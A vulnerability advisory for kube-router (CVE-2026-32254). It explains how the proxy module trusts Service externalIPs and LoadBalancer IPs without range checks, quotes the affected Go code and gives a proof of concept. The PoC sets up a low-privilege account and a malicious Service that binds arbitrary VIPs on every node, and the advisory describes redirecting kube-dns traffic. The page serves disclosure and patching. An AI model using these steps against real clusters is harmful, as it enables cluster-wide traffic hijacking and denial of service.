github.com/cloudnativelabs/kube-router/v2
Affected
- introduced
0, fixed2.8.0(semver)
Fixed versions
2.8.0
Fix
- Fixed version
2.8.0go get github.com/cloudnativelabs/kube-router/[email protected]
Advisory
Also known as: CVE-2026-32254, GO-2026-4724
Kube-router Proxy Module Blindly Trusts ExternalIPs/LoadBalancer IPs Enabling Cluster-Wide Traffic Hijacking and DNS DoS
kube-router Proxy Module Does Not Validate ExternalIPs or LoadBalancer IPs Against Configured Ranges
Summary
This issue primarily affects multi-tenant clusters where untrusted users are granted namespace-scoped permissions to create or modify Services. Single-tenant clusters or clusters where all Service creators are trusted are not meaningfully affected.
The kube-router proxy module's buildServicesInfo() function directly copies IPs from Service.spec.externalIPs and status.loadBalancer.ingress into node-level network configuration (kube-dummy-if interface, IPVS virtual services, LOCAL routing table) without validating them against the --service-external-ip-range parameter. A user with namespace-scoped Service CRUD permissions can bind arbitrary VIPs on all cluster nodes or cause denial of service to critical cluster services such as kube-dns.
The --service-external-ip-range parameter is only consumed by the netpol (network policy) module for firewall RETURN rules. The proxy module never reads this configuration, creating a gap between administrator expectations and actual enforcement.
Kubernetes' DenyServiceExternalIPs Feature Gate was introduced in v1.22 and remains disabled by default through v1.31, meaning most clusters allow Services to carry externalIPs without any admission control.
Note: This vulnerability class is not unique to kube-router. The upstream Kubernetes project classified the equivalent issue as CVE-2020-8554 (CVSS 5.0/Medium), describing it as a design limitation with no planned in-tree fix. The reference service proxy (kube-proxy) and other third-party service proxy implementations exhibit the same behavior. kube-router's --service-external-ip-range parameter provides more defense-in-depth than most alternatives -- the gap is that this defense did not extend to the proxy module.
Details
Vulnerability Description
Kube-router's proxy module does not validate externalIPs or loadBalancer IPs before programming them into the node's network configuration:
buildServicesInfo() directly copy()s Service.spec.ExternalIPs without any range validationstatus.loadBalancer.ingress[].ip without verificationkube-dummy-if on all cluster nodes, added to IPVS, and added to the kube-router-svip ipset10.96.0.10) cause the legitimate IPVS real servers to be fully replaced by the attacker's endpoints during the stale-endpoint cleanup cycle, redirecting all traffic for that VIP:port to attacker-controlled podsVulnerable Code Locations
File: pkg/controllers/proxy/network_services_controller.go
Lines 866, 898 - Unconditional externalIPs copy:
externalIPs: make([]string, len(svc.Spec.ExternalIPs)),
copy(svcInfo.externalIPs, svc.Spec.ExternalIPs) // No range check
Lines 900-904 - Unconditional LoadBalancer IP trust:
for _, lbIngress := range svc.Status.LoadBalancer.Ingress {
if len(lbIngress.IP) > 0 {
svcInfo.loadBalancerIPs = append(svcInfo.loadBalancerIPs, lbIngress.IP)
}
}
File: pkg/controllers/proxy/utils.go
Lines 425-461 - getAllExternalIPs() merges IPs without range validation:
func getAllExternalIPs(svc *serviceInfo, includeLBIPs bool) map[v1.IPFamily][]net.IP {
// Only performs IP parsing and deduplication, no range checking
}
File: pkg/controllers/proxy/service_endpoints_sync.go
Lines 460-464 - Binds arbitrary IPs to kube-dummy-if via netlink:
err = nsc.ln.ipAddrAdd(dummyVipInterface, externalIP.String(), nodeIP.String(), true)
File: pkg/controllers/netpol/network_policy_controller.go
Lines 960-967 - --service-external-ip-range is ONLY referenced here:
for _, externalIPRange := range config.ExternalIPCIDRs {
_, ipnet, err := net.ParseCIDR(externalIPRange)
npc.serviceExternalIPRanges = append(npc.serviceExternalIPRanges, *ipnet)
}
// The proxy module never references ExternalIPCIDRs
Root Cause
The proxy module was implemented without externalIP range validation. The --service-external-ip-range parameter creates a gap between administrator expectations and actual enforcement: administrators may believe externalIPs are restricted to the configured range, but the proxy module (which actually configures IPVS and network interfaces) does not enforce this restriction.
This is consistent with the broader Kubernetes ecosystem. CVE-2020-8554 documents the same fundamental issue: the Kubernetes API allows Service.spec.externalIPs to be set by any user with Service create/update permissions, and service proxies program these IPs into the data plane without validation. The upstream project's recommended mitigation is API-level admission control (e.g., DenyServiceExternalIPs feature gate, or admission webhooks).
PoC
Environment Setup
# Kind cluster: 1 control-plane + 1 worker
cat > kind-config.yaml <<EOF
kind: Cluster
apiVersion: kind.x-k8s.io/v1alpha4
name: kube-router-test
networking:
disableDefaultCNI: true
kubeProxyMode: "none"
nodes:
- role: control-plane
- role: worker
EOF
kind create cluster --config kind-config.yaml
kubectl apply -f https://raw.githubusercontent.com/cloudnativelabs/kube-router/v2.7.1/daemonset/kubeadm-kuberouter.yaml
kubectl -n kube-system wait --for=condition=ready pod -l k8s-app=kube-router --timeout=120s
# Create low-privileged attacker
kubectl create namespace attacker-ns
kubectl apply -f - <<EOF
apiVersion: v1
kind: ServiceAccount
metadata:
name: cicd-developer
namespace: attacker-ns
---
apiVersion: rbac.authorization.k8s.io/v1
kind: Role
metadata:
namespace: attacker-ns
name: service-creator
rules:
- apiGroups: [""]
resources: ["services"]
verbs: ["get", "list", "create", "update", "patch", "delete"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
name: service-creator-binding
namespace: attacker-ns
subjects:
- kind: ServiceAccount
name: cicd-developer
namespace: attacker-ns
roleRef:
kind: Role
name: service-creator
apiGroup: rbac.authorization.k8s.io
EOF
Exploitation
Scenario A: Arbitrary VIP Binding
kubectl --as=system:serviceaccount:attacker-ns:cicd-developer apply -f - <<EOF
apiVersion: v1
kind: Service
metadata:
name: malicious-externalip
namespace: attacker-ns
spec:
selector: { app: non-existent }
ports: [{ port: 80, targetPort: 80 }]
externalIPs: ["192.168.100.50", "10.200.0.1", "172.16.0.99"]
EOF
Result: All 3 IPs appear on kube-dummy-if, IPVS rules, and LOCAL routing table on ALL cluster nodes. No validation, no warning, no audit log.
High Basis: The source's own band: HIGH
0, fixed 2.8.0 (semver)2.8.0
2.8.0go get github.com/cloudnativelabs/kube-router/[email protected]Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.
Check your own computer: guard packages check
Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0